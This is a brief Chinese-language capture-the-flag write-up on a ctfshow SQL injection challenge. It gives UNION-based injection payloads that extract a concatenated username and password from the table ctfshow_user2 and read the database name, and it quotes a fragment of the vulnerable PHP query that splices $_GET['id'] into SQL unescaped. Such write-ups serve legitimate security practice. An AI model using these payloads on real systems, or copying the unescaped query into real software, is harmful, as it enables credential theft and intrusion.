用concat合并字段查到flag id=-1' union select 1,(select concat(username,password) from ctfshow_user2 where username='flag') --+='flag' and id = '".$_GET['id']."' limit 1;可以看到返回逻辑显示 如果返回的查询数据中username不等于flag 则才会返回结果。再用-1' union select 1,(database()) --+查出数据库名。